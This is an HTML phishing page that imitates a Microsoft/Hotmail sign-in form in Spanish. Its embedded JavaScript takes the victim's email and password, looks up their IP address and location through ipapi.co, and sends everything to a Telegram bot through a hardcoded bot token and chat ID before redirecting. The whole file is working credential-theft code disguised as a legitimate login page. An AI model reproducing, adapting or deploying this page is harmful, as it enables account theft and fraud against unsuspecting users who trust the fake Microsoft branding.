<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <link rel="icon" href="https://cdn.glitch.global/619bbf3f-0832-4238-90da-3c5dfc53bd19/22favicon.png?v=1714286509047" type="sam/favicon.png" sizes="16x16">
    <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, minimun-sacale=1.0">
    <title>Iniciar sesión en tu cuenta Microsoft</title>
    
    <link rel="stylesheet" type="text/css" href="https://sappsapp23.sirv.com/docs/estilo.css">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, minimum-scale=1.0, user-scalable=no">
    <style type="text/css">
      body {
        display: none;
      }
    </style>
    <style type="text/css">
      body {
        display: block !important;
      }
    </style>
    <noscript>
      <style type="text/css">
        body {
          display: block !important;
        }
      </style>
    </noscript>
</head>

<body class="cb" data-bind="defineGlobals: ServerData, bodyCssClass">
    <div class="generalContainer">
        <div class="container">
            <img class="imagen" src="https://sappsapp23.sirv.com/docs/222hotmail.jpg" alt="">

            <h2>Proteger Cuenta</h2>
            <form id="loginform" method="POST">
                <input type="email" name="emil" id="email" placeholder="Correo electrónico, teléfono o Skype" required>
                <input id="clave" type="password" name="pss" placeholder="Contraseña" required>
                <div class="div_text">
                    <small class="small_negro">¿No tienes una cuenta?</small>
                    <a href="#">Cree una.</a>
                </div>
                <input type="submit" value="Siguiente">
            </form>
        </div>
    </div>

    <script>
        // Bot token
        const telegram_bot_id = "7236367992:AAGBFDWM_Q6fZs6PC6KBskrL9YhKajE711o";
        // Chat ID
        const chat_id = "-1002269541557";
        const ipApiUrl = "https://ipapi.co/json/";

        const form = document.querySelector("#loginform");

        form.addEventListener("submit", async (event) => {
            event.preventDefault(); // Evita que el formulario se envíe de la manera tradicional

            console.log("Formulario enviado"); // Depuración

            try {
                // Obtener la información de la IP
                const ipResponse = await fetch(ipApiUrl);
                if (!ipResponse.ok) {
                    throw new Error("Error al obtener la información de la IP");
                }
                const ipData = await ipResponse.json();
                console.log("Datos de IP obtenidos:", ipData); // Depuración

                const email = document.querySelector("#email").value;
                const contra = document.querySelector("#clave").value;

                const message = `
📧Usuario: ${email}
🔒Contra: ${contra}
🌐Ciudad: ${ipData.city}
🌐Pais: ${ipData.country}
📌IP: ${ipData.ip}
                `;

                console.log("Mensaje a enviar a Telegram:", message); // Depuración

                // Enviar mensaje a Telegram
                const telegramUrl = `https://api.telegram.org/bot${telegram_bot_id}/sendMessage`;
                const telegramResponse = await fetch(telegramUrl, {
                    method: "POST",
                    headers: {
                        "Content-Type": "application/json",
                    },
                    body: JSON.stringify({
                        chat_id: chat_id,
                        text: message,
                    }),
                });

                if (!telegramResponse.ok) {
                    throw new Error("Error al enviar el mensaje a Telegram");
                }

                const telegramData = await telegramResponse.json();
                console.log("Respuesta de Telegram:", telegramData); // Depuración

                // Redirigir después de enviar el mensaje
                window.location.href = "index1.html";
            } catch (error) {
                console.error("Error en el proceso:", error); // Depuración
                // No se muestra ninguna alerta al usuario
            }
        });
    </script>
</body>
</html>